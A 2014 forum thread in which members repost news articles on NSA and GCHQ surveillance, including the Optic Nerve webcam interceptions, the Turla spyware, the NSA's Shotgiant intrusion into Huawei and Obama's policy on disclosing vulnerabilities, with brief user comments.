Nominators, including members of national parliaments and governments, university professors and previous laureates, must enter their submissions by Feb. 1.

The prize committee members can add their own candidates at their first meeting after that deadline.
Title: Re: they know what you are doing
Post by: Sinny on January 31, 2014, 04:32:28 am
Ironic that he's up for the 'nobel peace prize'.. He hasn't caused any 'peace' lmafo.
Title: Re: they know what you are doing
Post by: sky otter on February 18, 2014, 03:18:06 pm


yeah, i know, i said i quit collecting these articles but this is a funny one
and a good trick getting these groups on the same side




http://www.timesheraldonline.com/news/ci_25168088/nsa-brings-liberals-tea-party-group-together

NSA brings liberals, Tea Party group together

By Connie Cass/Associated Press/
Posted:   02/18/2014 12:54:00 AM PST


WASHINGTON -- Hoyt Sparks says he has no use for liberal Democrats and their "socialistic, Marxist, communist" ways.

Toni Lewis suspects tea party Republicans are "a bunch of people who probably need some mental health treatment."

Politically speaking, the tea-party supporter in rural North Carolina and the Massachusetts liberal live a world apart.

Who or what could get them thinking the same?

Edward Snowden and the National Security Agency.
By exposing the NSA's vast surveillance web, Snowden created a link between tea partyers and liberals -- two tribes camped on opposite sides of the nation's political chasm.

These people to the right and left of mainstream America sound a lot alike now.

Sparks, a federal retiree in the Blue Ridge mountain town of Sparta and a political independent, condemns the NSA programs as "a breach of privacy which violates the Constitution."
Lifetime Democrat Lewis, a social worker in the city of Brockton, near Boston, says, "When we're violating the rights of U.S. citizens, I think that's a dangerous line to be walking."

Whether they are Republicans, Democrats or independents, almost half of Americans say they support the tea party movement or call themselves liberal.

Compared with their more moderate Republican or Democratic peers, tea partyers and liberals are significantly more likely to oppose the collection of millions of ordinary citizens' telephone and Internet data, an Associated Press-GfK poll shows.
By a 2-to-1 margin, these two groups say the government should put protecting citizens' rights and freedoms ahead of protecting them from terrorists.

Nearly 6 in 10 Republicans support the tea party movement. Nearly 4 in 10 Democrats call themselves liberals. Combined, they are buoying a coalition of conservative and liberal lawmakers pushing to rein in the NSA, while party leaders balk at anything that might weaken the agency's ability to foil terrorists.

Why does the NSA unite the right and left ends of the political spectrum?
"More extreme political views lead to more distrust of government," said George Mason University law professor Ilya Somin, who's studied the tea party's focus on the Constitution. People at the far ends of the political spectrum are less likely than middle-of-the-road voters to feel government is responsive to them.

On the flip side, Somin said, moderates generally don't follow politics as closely as people at the extremes, so they may be less aware of the scope of the NSA's activities.

"The whole thing is wrong," says Virginia Greenfield, a tea-party supporter in Cortland, N.Y. But, she says, "most people don't want to believe that the government would do what it's doing."

Liberals, who tend to trust government to handle many matters, also tend to be suspicious of intrusions into privacy or civil liberties. That aligns them on some issues with libertarians, the champions of individual rights who make up a substantial portion of the tea party movement.

Another segment of the tea party -- social conservatives -- deeply mistrusts President Barack Obama and his administration, an attitude likely to extend to the NSA while he's in charge.

Obama is a point of contention in the anti-surveillance coalition. Eight in 10 tea partyers dislike the way he's handled the issue; only about half of liberals disapprove. Still, the NSA brings liberals closer to the tea-party way of thinking than usual: On other big issues, liberals' approval for Obama generally hovers around 70 percent.

When it comes to Snowden, tea-party supporters and liberals are back in step -- about half of each group says the former NSA contractor did the right thing. Among non-tea party Republicans and nonliberal Democrats, a strong majority thinks he was wrong to reveal classified programs.

Christina Ott, who works on her family's farm near Woodbury, Tenn., found Snowden's action inspiring.

"I thought it was somebody taking a moral stand and a big risk," said Ott, a liberal Democrat.

She isn't surprised to find herself siding with the tea party for once. Regardless of their political views, Ott said, the people who worry about mass surveillance are the ones "who are paying close attention and believe it is possible for things to go badly wrong."

But Lewis, an Obama fan, is shocked to agree with tea partyers about anything.
"I can't explain it. It's kind of scary," she said, joking: "Now I might have to rethink my position."


The AP-GfK Poll was conducted Jan. 17-21 using KnowledgePanel, GfK's probability-based online panel. It involved online interviews with 1,060 adults. The survey has a margin of sampling error of plus or minus 3.9 percentage points for all respondents. Those respondents who did not have Internet access before joining the panel were provided it for free.


------


AP News Survey Specialist Dennis Junius contributed to this report.


------


Follow Connie Cass on Twitter at https://twitter.com/ConnieCass
Title: Re: they know what you are doing
Post by: sky otter on February 23, 2014, 01:53:22 pm






http://www.theguardian.com/technology/2014/feb/22/robots-google-ray-kurzweil-terminator-singularity-artificial-intelligence
 

Google Will Soon Know You Better Than Your Spouse Does, Top Exec Says

Posted: 02/23/2014 1:12 pm EST Updated: 02/23/2014 1:59 pm EST

 

Ray Kurzweil, the director of engineering at Google, believes that the tech behemoth will soon know you even better than your spouse does.

Kurzweil, who Bill Gates has reportedly called "the best person [he knows] at predicting the future of artificial intelligence," told the Observer in a recent interview that he is working with Google to create a computer system that will be able to intimately understand human beings.

(Read Kurzweil's full interview with the Observer here.)

http://www.theguardian.com/technology/2014/feb/22/robots-google-ray-kurzweil-terminator-singularity-artificial-intelligence

"I have a one-sentence spec which is to help bring natural language understanding to Google," the 66-year-old tech whiz told the news outlet of his job. "My project is ultimately to base search on really understanding what the language means."

"When you write an article, you're not creating an interesting collection of words," he continued. "You have something to say and Google is devoted to intelligently organizing and processing the world's information. The message in your article is information, and the computers are not picking up on that. So we would want them to read everything on the web and every page of every book, then be able to engage in intelligent dialogue with the user to be able to answer their questions."

In short, the Observer writes, Kurzweil believes that Google will soon "know the answer to your question before you have asked it. It will have read every email you've ever written, every document, every idle thought you've ever tapped into a search-engine box. It will know you better than your intimate partner does. Better, perhaps, than even yourself."

As creepy as this may sound to some, Kurzweil -- who has long contended that computers will outsmart us by 2029 -- believes that the improvement of artificial intelligence is merely the next step in our evolution.

"[Artificial intelligence] is not an intelligent invasion from Mars," he told the Montecito Journal in 2012, per a post on his website. "These are brain extenders that we have created to expand our own mental reach. They are part of our civilization. They are part of who we are. So over the next few decades our human-machine civilization will become increasingly dominated by its non-biological component."
Title: Re: they know what you are doing
Post by: Flux on February 23, 2014, 04:15:52 pm
But we keep on whipping SkyNets butt in the movies?
Title: Re: they know what you are doing
Post by: sky otter on February 28, 2014, 08:21:02 am

http://www.theguardian.com/world/2014/feb/27/gchq-nsa-webcam-images-internet-yahoo


Optic Nerve: millions of Yahoo webcam images intercepted by GCHQ•
 1.8m users targeted by UK agency in six-month period alone


Spencer Ackerman and James Ball
The Guardian, Thursday 27 February 2014



Britain's surveillance agency GCHQ, with aid from the US National Security Agency, intercepted and stored the webcam images of millions of internet users not suspected of wrongdoing, secret documents reveal.

GCHQ files dating between 2008 and 2010 explicitly state that a surveillance program codenamed Optic Nerve collected still images of Yahoo webcam chats in bulk and saved them to agency databases, regardless of whether individual users were an intelligence target or not.

In one six-month period in 2008 alone, the agency collected webcam imagery – including substantial quantities of sexually explicit communications – from more than 1.8 million Yahoo user accounts globally.

Yahoo reacted furiously to the webcam interception when approached by the Guardian. The company denied any prior knowledge of the program, accusing the agencies of "a whole new level of violation of our users' privacy".

GCHQ does not have the technical means to make sure no images of UK or US citizens are collected and stored by the system, and there are no restrictions under UK law to prevent Americans' images being accessed by British analysts without an individual warrant.

The documents also chronicle GCHQ's sustained struggle to keep the large store of sexually explicit imagery collected by Optic Nerve away from the eyes of its staff, though there is little discussion about the privacy implications of storing this material in the first place.

(http://i58.servimg.com/u/f58/13/55/53/83/nsa-ra11.jpg)

Optic Nerve, the documents provided by NSA whistleblower Edward Snowden show, began as a prototype in 2008 and was still active in 2012, according to an internal GCHQ wiki page accessed that year.

The system, eerily reminiscent of the telescreens evoked in George Orwell's 1984, was used for experiments in automated facial recognition, to monitor GCHQ's existing targets, and to discover new targets of interest. Such searches could be used to try to find terror suspects or criminals making use of multiple, anonymous user IDs.

Rather than collecting webcam chats in their entirety, the program saved one image every five minutes from the users' feeds, partly to comply with human rights legislation, and also to avoid overloading GCHQ's servers. The documents describe these users as "unselected" – intelligence agency parlance for bulk rather than targeted collection.

One document even likened the program's "bulk access to Yahoo webcam images/events" to a massive digital police mugbook of previously arrested individuals.

"Face detection has the potential to aid selection of useful images for 'mugshots' or even for face recognition by assessing the angle of the face," it reads. "The best images are ones where the person is facing the camera with their face upright."

The agency did make efforts to limit analysts' ability to see webcam images, restricting bulk searches to metadata only.

However, analysts were shown the faces of people with similar usernames to surveillance targets, potentially dragging in large numbers of innocent people. One document tells agency staff they were allowed to display "webcam images associated with similar Yahoo identifiers to your known target".

Optic Nerve was based on collecting information from GCHQ's huge network of internet cable taps, which was then processed and fed into systems provided by the NSA. Webcam information was fed into NSA's XKeyscore search tool, and NSA research was used to build the tool which identified Yahoo's webcam traffic.

Bulk surveillance on Yahoo users was begun, the documents said, because "Yahoo webcam is known to be used by GCHQ targets".

(http://i58.servimg.com/u/f58/13/55/53/83/nsa-ra12.jpg)

Programs like Optic Nerve, which collect information in bulk from largely anonymous user IDs, are unable to filter out information from UK or US citizens. Unlike the NSA, GCHQ is not required by UK law to "minimize", or remove, domestic citizens' information from its databases. However, additional legal authorisations are required before analysts can search for the data of individuals likely to be in the British Isles at the time of the search.

There are no such legal safeguards for searches on people believed to be in the US or the other allied "Five Eyes" nations – Australia, New Zealand and Canada.

GCHQ insists all of its activities are necessary, proportionate, and in accordance with UK law.

The documents also show that GCHQ trialled automatic searches based on facial recognition technology, for people resembling existing GCHQ targets: "f you search for similar IDs to your target, you will be able to request automatic comparison of the face in the similar IDs to those in your target's ID".

The undated document, from GCHQ's internal wiki information site, noted this capability was "now closed … but shortly to return!"

The privacy risks of mass collection from video sources have long been known to the NSA and GCHQ, as a research document from the mid-2000s noted: "One of the greatest hindrances to exploiting video data is the fact that the vast majority of videos received have no intelligence value whatsoever, such as pornography, commercials, movie clips and family home movies."

Sexually explicit webcam material proved to be a particular problem for GCHQ, as one document delicately put it: "Unfortunately … it would appear that a surprising number of people use webcam conversations to show intimate parts of their body to the other person. Also, the fact that the Yahoo software allows more than one person to view a webcam stream without necessarily sending a reciprocal stream means that it appears sometimes to be used for broadcasting pornography."

The document estimates that between 3% and 11% of the Yahoo webcam imagery harvested by GCHQ contains "undesirable nudity". Discussing efforts to make the interface "safer to use", it noted that current "naïve" pornography detectors assessed the amount of flesh in any given shot, and so attracted lots of false positives by incorrectly tagging shots of people's faces as pornography

(http://i58.servimg.com/u/f58/13/55/53/83/nsa-ra13.jpg)

GCHQ did not make any specific attempts to prevent the collection or storage of explicit images, the documents suggest, but did eventually compromise by excluding images in which software had not detected any faces from search results – a bid to prevent many of the lewd shots being seen by analysts.

The system was not perfect at stopping those images reaching the eyes of GCHQ staff, though. An internal guide cautioned prospective Optic Nerve users that "there is no perfect ability to censor material which may be offensive. Users who may feel uncomfortable about such material are advised not to open them".

It further notes that "under GCHQ's offensive material policy, the dissemination of offensive material is a disciplinary offence".

(http://i58.servimg.com/u/f58/13/55/53/83/nsa-ra14.jpg)


Once collected, the metadata associated with the videos can be as valuable to the intelligence agencies as the images themselves.

It is not fully clear from the documents how much access the NSA has to the Yahoo webcam trove itself, though all of the policy documents were available to NSA analysts through their routine information-sharing. A previously revealed NSA metadata repository, codenamed Marina, has what the documents describe as a protocol class for webcam information.

In its statement to the Guardian, Yahoo strongly condemned the Optic Nerve program, and said it had no awareness of or involvement with the GCHQ collection.

"We were not aware of, nor would we condone, this reported activity," said a spokeswoman. "This report, if true, represents a whole new level of violation of our users' privacy that is completely unacceptable, and we strongly call on the world's governments to reform surveillance law consistent with the principles we outlined in December.

"We are committed to preserving our users' trust and security and continue our efforts to expand encryption across all of our services."

Yahoo has been one of the most outspoken technology companies objecting to the NSA's bulk surveillance. It filed a transparency lawsuit with the secret US surveillance court to disclose a 2007 case in which it was compelled to provide customer data to the surveillance agency, and it railed against the NSA's reported interception of information in transit between its data centers.

The documents do not refer to any specific court orders permitting collection of Yahoo's webcam imagery, but GCHQ mass collection is governed by the UK's Regulation of Investigatory Powers Act, and requires certification by the foreign secretary, currently William Hague.

The Optic Nerve documentation shows legalities were being considered as new capabilities were being developed. Discussing adding automated facial matching, for example, analysts agreed to test a system before firming up its legal status for everyday use.

"It was agreed that the legalities of such a capability would be considered once it had been developed, but that the general principle applied would be that if the accuracy of the algorithm was such that it was useful to the analyst (ie, the number of spurious results was low, then it was likely to be proportionate)," the 2008 document reads.

The document continues: "This is allowed for research purposes but at the point where the results are shown to analysts for operational use, the proportionality and legality questions must be more carefully considered."

Optic Nerve was just one of a series of GCHQ efforts at biometric detection, whether for target recognition or general security.

While the documents do not detail efforts as widescale as those against Yahoo users, one presentation discusses with interest the potential and capabilities of the Xbox 360's Kinect camera, saying it generated "fairly normal webcam traffic" and was being evaluated as part of a wider program.

Documents previously revealed in the Guardian showed the NSA were exploring the video capabilities of game consoles for surveillance purposes.

Microsoft, the maker of Xbox, faced a privacy backlash last year when details emerged that the camera bundled with its new console, the Xbox One, would be always-on by default.

Beyond webcams and consoles, GCHQ and the NSA looked at building more detailed and accurate facial recognition tools, such as iris recognition cameras – "think Tom Cruise in Minority Report", one presentation noted.

The same presentation talks about the strange means the agencies used to try and test such systems, including whether they could be tricked. One way of testing this was to use contact lenses on detailed mannequins.

To this end, GCHQ has a dummy nicknamed "the Head", one document noted.

In a statement, a GCHQ spokesman said: "It is a longstanding policy that we do not comment on intelligence matters.

"Furthermore, all of GCHQ's work is carried out in accordance with a strict legal and policy framework which ensures that our activities are authorised, necessary and proportionate, and that there is rigorous oversight, including from the secretary of state, the interception and intelligence services commissioners and the Parliamentary Intelligence and Security Committee.

"All our operational processes rigorously support this position."

The NSA declined to respond to specific queries about its access to the Optic Nerve system, the presence of US citizens' data in such systems, or whether the NSA has similar bulk-collection programs.

However, NSA spokeswoman Vanee Vines said the agency did not ask foreign partners such as GCHQ to collect intelligence the agency could not legally collect itself.

"As we've said before, the National Security Agency does not ask its foreign partners to undertake any intelligence activity that the US government would be legally prohibited from undertaking itself," she said.

"The NSA works with a number of partners in meeting its foreign intelligence mission goals, and those operations comply with US law and with the applicable laws under which those partners operate.

"A key part of the protections that apply to both US persons and citizens of other countries is the mandate that information be in support of a valid foreign intelligence requirement, and comply with US Attorney General-approved procedures to protect privacy rights. Those procedures govern the acquisition, use, and retention of information about US persons."




Title: Re: they know what you are doing
Post by: sky otter on March 07, 2014, 07:26:36 pm


http://www.reuters.com/article/2014/03/07/us-russia-cyberespionage-insight-idUSBREA260YI20140307


Suspected Russian spyware Turla targets Europe, United States
By Peter Apps and Jim Finkle

LONDON/BOSTON Fri Mar 7, 2014 2:45pm EST


(Reuters) - A sophisticated piece of spyware has been quietly infecting hundreds of government computers across Europe and the United States in one of the most complex cyber espionage programs uncovered to date.

Several security researchers and Western intelligence officers say they believe the malware, widely known as Turla, is the work of the Russian government and linked to the same software used to launch a massive breach on the U.S. military uncovered in 2008.

It was also linked to a previously known, massive global cyber spying operation dubbed Red October targeting diplomatic, military and nuclear research networks.

Those assessments were based on analysis of tactics employed by hackers, along with technical indicators and the victims they targeted.

"It is sophisticated malware that's linked to other Russian exploits, uses encryption and targets western governments. It has Russian paw prints all over it," said Jim Lewis, a former U.S. foreign service officer, now senior fellow at the Center for Strategic and International Studies in Washington.

However, security experts caution that while the case for saying Turla looks Russian may be strong, it is impossible to confirm those suspicions unless Moscow claims responsibility. Developers often use techniques to cloud their identity.

The threat surfaced this week after a little known German anti-virus firm, G Data, published a report on the virus, which it called Uroburos, the name text in the code that may be a reference to the Greek symbol of a serpent eating its own tail.

Experts in state-sponsored cyber attacks say that Russian government-backed hackers are known for being highly disciplined, adept at hiding their tracks, extremely effective at maintaining control of infected networks and more selective in choosing targets than their Chinese counterparts.

"They know that most people don't have either the technical knowledge or the fortitude to win a battle with them. When they recognize that someone is onto them, they just go dormant," said one expert who helps victims of state-sponsored hacking.

A former Western intelligence official commented: "They can draw on some very high grade programmers and engineers, including the many who work for organized criminal groups, but also function as privateers."

Russia's Federal Security Bureau declined comment as did Pentagon and U.S. Department of Homeland Security officials.

On Friday, Britain's BAE Systems Applied Intelligence - the cyber arm of Britain's premier defense contractor - published its own research on the spyware, which it called "snake."

The sheer sophistication of the software, it said, went well beyond that previously encountered - although it did not attribute blame for the attack.

"The threat... really does raise the bar in terms of what potential targets, and the security community in general, have to do to keep ahead of cyber attacks," said Martin Sutherland, managing director of BAE Systems Applied Intelligence.

NATO NATIONS TARGETED

Security firms have been monitoring Turla for several years.

Symantec Corp estimates up to 1,000 networks have been infected by Turla and a related virus, Agent.BTZ. It named no victims, saying only that most were government computers.

BAE said it has collected over 100 unique samples of Turla since 2010, including 32 from Ukraine, 11 from Lithuania and 4 from Great Britain. It obtained smaller numbers from other countries.

Hackers use Turla to establish a hidden foothold in infected networks from which they can search other computers, store stolen information, then transmit data back to their servers.

"While it seems to be Russian, there is no way to know for sure," said Mikko Hypponen, chief research officer with Helsinki-based F-Secure, which encountered Turla last year.

Security firms that are monitoring the threat have said the operation's sophistication suggests it was likely backed by a nation state and that technical indicators make them believe it is the work of Russian developers.

European governments have long welcomed U.S. help against Kremlin spying, but were infuriated last year to discover the scale of surveillance by America's National Security Agency that stretched also to their own territory.

AGENT.BTZ, RED OCTOBER

Security experts say stealthy Turla belongs to the same family as one of the most notorious pieces of spyware uncovered to date: Agent.BTZ. It was used in a massive cyber espionage operation on U.S. Central Command that surfaced in 2008 and is one of the most serious U.S. breaches to date. While Washington never formally attributed blame, several U.S. officials have told Reuters they believed it was the work of Russia.

Hypponen said Agent.BTZ was initially found in a military network of a European NATO state in 2008, but gave no details. F-Secure is credited with naming that piece of malware in 2008, though researchers believe it was created already in 2006.

Kaspersky Lab researcher Kurt Baumgartner said he believes Turla and Agent.BTZ are related to Red October, which suddenly shut down after his firm reported on it in January 2013.

"Unusually unique artifacts link Red October, Agent.BTZ and Turla," he said, referring to strings of text contained in the code and functionality of the malware.

Eric Chien, technical director with Symantec Security Response, described Turla as "the evolution" of Agent.BTZ. "They are a very active development group," Chien said.

Finland said its Foreign Ministry computer systems had been penetrated by an attack last year but would not elaborate.

Sweden's National Defence Radio Establishment said cyber espionage was "more common than people think", adding that it had discovered multiple attacks against authorities, governments and universities, some only detected after several years.

Government sources in the Czech Republic, Estonia, Poland and Romania said Turla had not affected them directly. Other European governments contacted by Reuters declined comment.

CHASING TURLA

Although computer security researchers have been quietly studying Turla for more than two years, public discussions of the threat only began after G Data published its report.

G Data spokesman Eddy Willems declined to name any victims or identify the author of the report, saying the firm was concerned the group behind Turla might attempt to harm him.

Jaime Blasco, director of AlienVault Labs, said that Turla was more of a "framework" for espionage than simply malware.

The malware is a "root kit" that hides the presence of the spying operation and also creates a hidden, encrypted file system to store stolen data and tools used by the attackers, he said. Those tools include password stealers, tiny programs for gathering information about the system and document stealers.

The operators can download specialized tools onto an infected system, adding any functionality they want by including it in the encrypted file system, Blasco said.

They have used dozens of different "command and control" servers located in countries around the world to control infected systems, according to Symantec, whose researchers have helped identify and shut down some of those systems.

Researchers say Turla's code is regularly updated, including changes to avoid detection as anti-virus companies detect new strains. BAE said it had two samples created in January 2014.

Chien said that in some cases when a command and control server was taken offline, Turla's operators have quickly pushed out new versions of the malware that directed infected computers to new command and control servers.

"They have a super active development team," he said.

(Additional reporting by Jan Strouhal in Prague, Marcin Goeetig in Warsaw, Guy Faulconbridge in London, Zoran Radosavljevic in Zagreb, Gwladys Fouche in Oslo, Matthias Williams in Bucharest, Gabriela Baczynska in Moscow, Alexandra Hudson in Berlin, Johan Sennero in Stockholm, Phil Stewart in Washington; Editing by Richard Valdmanis and Ralph Boulton)


 
Title: Re: they know what you are doing
Post by: sky otter on April 02, 2014, 08:36:15 pm


do you think if they  pick on each other they will leave us little guys alone?..
..Nah probably not
sigh


http://www.nytimes.com/2014/03/23/world/asia/nsa-breached-chinese-servers-seen-as-spy-peril.html?_r=0

N.S.A. Breached Chinese Servers Seen as Security Threat
By DAVID E. SANGER and NICOLE PERLROTHMARCH 22, 2014


WASHINGTON — American officials have long considered Huawei, the Chinese telecommunications giant, a security threat, blocking it from business deals in the United States for fear that the company would create “back doors” in its equipment that could allow the Chinese military or Beijing-backed hackers to steal corporate and government secrets.

But even as the United States made a public case about the dangers of buying from Huawei, classified documents show that the National Security Agency was creating its own back doors — directly into Huawei’s networks.

The agency pried its way into the servers in Huawei’s sealed headquarters in Shenzhen, China’s industrial heart, according to N.S.A. documents provided by the former contractor Edward J. Snowden. It obtained information about the workings of the giant routers and complex digital switches that Huawei boasts connect a third of the world’s population, and monitored communications of the company’s top executives.

One of the goals of the operation, code-named “Shotgiant,” was to find any links between Huawei and the People’s Liberation Army, one 2010 document made clear. But the plans went further: to exploit Huawei’s technology so that when the company sold equipment to other countries — including both allies and nations that avoid buying American products — the N.S.A. could roam through their computer and telephone networks to conduct surveillance and, if ordered by the president, offensive cyberoperations.

“Many of our targets communicate over Huawei-produced products,” the N.S.A. document said. “We want to make sure that we know how to exploit these products,” it added, to “gain access to networks of interest” around the world.

The documents were disclosed by The New York Times and Der Spiegel, and are also part of a book by Der Spiegel, “The N.S.A. Complex.” The documents, as well as interviews with intelligence officials, offer new insights into the United States’ escalating digital cold war with Beijing. While President Obama and China’s president, Xi Jinping, have begun talks about limiting the cyber conflict, it appears to be intensifying.

The N.S.A., for example, is tracking more than 20 Chinese hacking groups — more than half of them Chinese Army and Navy units — as they break into the networks of the United States government, companies including Google, and drone and nuclear-weapon part makers, according to a half-dozen current and former American officials.

If anything, they said, the pace has increased since the revelation last year that some of the most aggressive Chinese hacking originated at a People’s Liberation Army facility, Unit 61398, in Shanghai.
The Obama administration distinguishes between the hacking and corporate theft that the Chinese conduct against American companies to buttress their own state-run businesses, and the intelligence operations that the United States conducts against Chinese and other targets.

American officials have repeatedly said that the N.S.A. breaks into foreign networks only for legitimate national security purposes.
A White House spokeswoman, Caitlin M. Hayden, said: “We do not give intelligence we collect to U.S. companies to enhance their international competitiveness or increase their bottom line. Many countries cannot say the same.”

But that does not mean the American government does not conduct its own form of corporate espionage with a different set of goals. Those concerning Huawei were described in the 2010 document.
 “If we can determine the company’s plans and intentions,” an analyst wrote, “we hope that this will lead us back to the plans and intentions of the PRC,” referring to the People’s Republic of China. The N.S.A. saw an additional opportunity: As Huawei invested in new technology and laid undersea cables to connect its $40 billion-a-year networking empire, the agency was interested in tunneling into key Chinese customers, including “high priority targets — Iran, Afghanistan, Pakistan, Kenya, Cuba.”

The documents offer no answer to a central question: Is Huawei an independent company, as its leaders contend, or a front for the People’s Liberation Army, as American officials suggest but have never publicly proved?

Two years after Shotgiant became a major program, the House Intelligence Committee delivered an unclassified report on Huawei and another Chinese company, ZTE, that cited no evidence confirming the suspicions about Chinese government ties. Still, the October 2012 report concluded that the companies must be blocked from “acquisitions, takeover or mergers” in the United States, and “cannot be trusted to be free of foreign state influence.”

Huawei, which has all but given up its hopes of entering the American market, complains that it is the victim of protectionism, swathed in trumped-up national security concerns. Company officials insist that it has no connection to the People’s Liberation Army.

William Plummer, a senior Huawei executive in the United States, said the company had no idea it was an N.S.A. target, adding that in his personal opinion, “The irony is that exactly what they are doing to us is what they have always charged that the Chinese are doing through us.”
“If such espionage has been truly conducted,” Mr. Plummer added, “then it is known that the company is independent and has no unusual ties to any government, and that knowledge should be relayed publicly to put an end to an era of mis- and disinformation.”
Blocked at Every Turn

Washington’s concerns about Huawei date back nearly a decade, since the RAND Corporation, the research organization, evaluated the potential threat of China for the American military. RAND concluded that “private Chinese companies such as Huawei” were part of a new “digital triangle” of companies, institutes and government agencies that worked together secretly.

Huawei is a global giant: it manufactures equipment that makes up the backbone of the Internet, lays submarine cables from Asia to Africa and has become the world’s third largest smartphone maker after Samsung and Apple.

The man behind its strategy is Ren Zhengfei, the company’s elusive founder, who was a P.L.A. engineer in the 1970s. To the Chinese, he is something akin to Steve Jobs — an entrepreneur who started a digital empire with little more than $3,000 in the mid-1980s, and took on both state-owned companies and foreign competitors. But to American officials, he is a link to the People’s Liberation Army.

Acting to Block a Chinese Telecom Giant
 Over the past seven years, the United States government has taken steps to block the Chinese telecommunications and internet giant Huawei from gaining a foothold here, fearing that the company could act on behalf of the Chinese military to gain access to government and corporate secrets. The company was founded in 1987 and by the mid-90s had begun making inroads into the U.S. telecom equipment market.


 
U.S. RELATIONS WITH HUAWEI
2003–4
 Cisco sues Huawei for stealing source code; the suit is settled with neither side revealing terms.

 2005
The Air Force hires the RAND corporation to examine threats from Chinese networking firms; it concludes there is a “digital triangle” of Chinese military, state research groups, and companies like Huawei.

2007
The National Security Administration begins its “Shotgiant” effort to pierce Huawei’s networks and exploit its systems.

 
2008
The U.S. blocks Huawei from buying 3Com on national security grounds.

 
2010
The U.S. persuades Australia to kill a plan to let Huawei build a national broadband network
In an open letter to the U.S., Huawei denies that it is a front for the Chinese government, and invites investigation.

 
2012
 The House Intelligence Committee produces a long report urging the U.S. to “block acquisitions, takeovers or mergers” with Huawei, and to exclude its equipment from U.S. systems.

2013
The U.S. approves purchase of Sprint Nextel by Softbank Corporation, but under conditions that probably exclude Huawei equipment.

 
Vice President Joseph R. Biden Jr., on a trip to Seoul, urges South Korea to kill a contract for Huawei to build an advanced telecom network for Seoul.


They have blocked his company at every turn: pressing Sprint to kill a $3 billion deal to buy Huawei’s fourth generation, or 4G, network technology; scuttling a planned purchase of 3Com for fear that Huawei would alter computer code sold to the United States military; and pushing allies, like Australia, to back off from major projects.

As long ago as 2007, the N.S.A. began a covert program against Huawei, the documents show. By 2010, the agency’s Tailored Access Operations unit — which breaks into hard-to-access networks — found a way into Huawei’s headquarters. The agency collected Mr. Ren’s communications, one document noted, though analysts feared they might be missing many of them.

N.S.A. analysts made clear that they were looking for more than just “signals intelligence” about the company and its connections to Chinese leaders; they wanted to learn how to pierce its systems so that when adversaries and allies bought Huawei equipment, the United States would be plugged into those networks. (The Times withheld technical details of the operation at the request of the Obama administration, which cited national security concerns.)

The N.S.A.’s operations against China do not stop at Huawei. Last year, the agency cracked two of China’s biggest cellphone networks, allowing it to track strategically important Chinese military units, according to an April 2013 document leaked by Mr. Snowden. Other major targets, the document said, are the locations where the Chinese leadership works. The country’s leaders, like everyone else, are constantly upgrading to better, faster Wi-Fi — and the N.S.A. is constantly finding new ways in.


Hack Attacks Accelerate
 Chinese state attacks have only accelerated in recent years, according to the current and former intelligence officials, who spoke on condition of anonymity about classified information.

A dozen P.L.A. military units — aside from Unit 61398 — do their hacking from eavesdropping posts around China, and though their targets were initially government agencies and foreign ministries around the world, they have since expanded into the private sector. For example, officials point to the First Bureau of the army’s Third Department, which the N.S.A. began tracking in 2004 after it hacked into the Pentagon’s networks. The unit’s targets have grown to include telecom and technology companies that specialize in networking and encryption equipment — including some Huawei competitors.

For some of its most audacious attacks, China relies on hackers at state-funded universities and privately owned Chinese technology companies, apparently as much for their skills as for the plausible deniability it offers the state if it gets caught. The N.S.A. is tracking more than half a dozen such groups suspected of operating at the behest of the Chinese Ministry of State Security, China’s civilian spy agency, the officials said.

Their targets, they noted, closely align with China’s stated economic and strategic directives. As China strove to develop drones and next-generation ballistic and submarine-launched missiles in recent years, the N.S.A. and its partners watched as one group of privately employed engineers based in Guangzhou in southern China pilfered the blueprints to missile, satellite, space, and nuclear propulsion technology from businesses in the United States, Canada, Europe, Russia and Africa.

And as China strove to make its own inroads on the web, officials said another group of private hackers infiltrated Google, Adobe and dozens of other global technology companies in 2010. Lately, the officials said, that group and its counterparts are also going after security firms, banks, chemical companies, automakers and even nongovernment organizations.

“China does more in terms of cyberespionage than all other countries put together,” said James A. Lewis, a computer security expert at the Center for Strategic and International Studies in Washington.
“The question is no longer which industries China is hacking into,” he added. “It’s which industries they aren’t hacking into.”


Correction: March 26, 2014

An article on Sunday about the National Security Agency’s infiltration of the servers of a Chinese telecommunications company considered by the United States to be a security threat misspelled, in two instances, the name of the company. It is Huawei, not Huawai.

A version of this article appears in print on March 23, 2014, on page A1 of the New York edition with the headline: U.S. Penetrated Chinese Servers It Saw as Spy Risk.  
Title: Re: they know what you are doing
Post by: sky otter on April 13, 2014, 09:09:19 am


Obama Lets N.S.A. Exploit Some Internet Flaws, Officials Say
By DAVID E. SANGERAPRIL 12, 2014

WASHINGTON — Stepping into a heated debate within the nation’s intelligence agencies, President Obama has decided that when the National Security Agency discovers major flaws in Internet security, it should — in most circumstances — reveal them to assure that they will be fixed, rather than keep mum so that the flaws can be used in espionage or cyberattacks, senior administration officials said Saturday.

But Mr. Obama carved a broad exception for “a clear national security or law enforcement need,” the officials said, a loophole that is likely to allow the N.S.A. to continue to exploit security flaws both to crack encryption on the Internet and to design cyberweapons.

The White House has never publicly detailed Mr. Obama’s decision, which he made in January as he began a three-month review of recommendations by a presidential advisory committee on what to do in response to recent disclosures about the National Security Agency.

But elements of the decision became evident on Friday, when the White House denied that it had any prior knowledge of the Heartbleed bug, a newly known hole in Internet security that sent Americans scrambling last week to change their online passwords. The White House statement said that when such flaws are discovered, there is now a “bias” in the government to share that knowledge with computer and software manufacturers so a remedy can be created and distributed to industry and consumers.

Caitlin Hayden, the spokeswoman for the National Security Council, said the review of the recommendations was now complete, and it had resulted in a “reinvigorated” process to weigh the value of disclosure when a security flaw is discovered, against the value of keeping the discovery secret for later use by the intelligence community.

“This process is biased toward responsibly disclosing such vulnerabilities,” she said.
Until now, the White House has declined to say what action Mr. Obama had taken on this recommendation of the president’s advisory committee, whose report is better known for its determination that the government get out of the business of collecting bulk telephone data about the calls made by every American. Mr. Obama announced last month that he would end the bulk collection, and leave the data in the hands of telecommunications companies, with a procedure for the government to obtain it with court orders when needed.

But while the surveillance recommendations were noteworthy, inside the intelligence agencies other recommendations, concerning encryption and cyber operations, set off a roaring debate with echoes of the Cold War battles that dominated Washington a half-century ago.
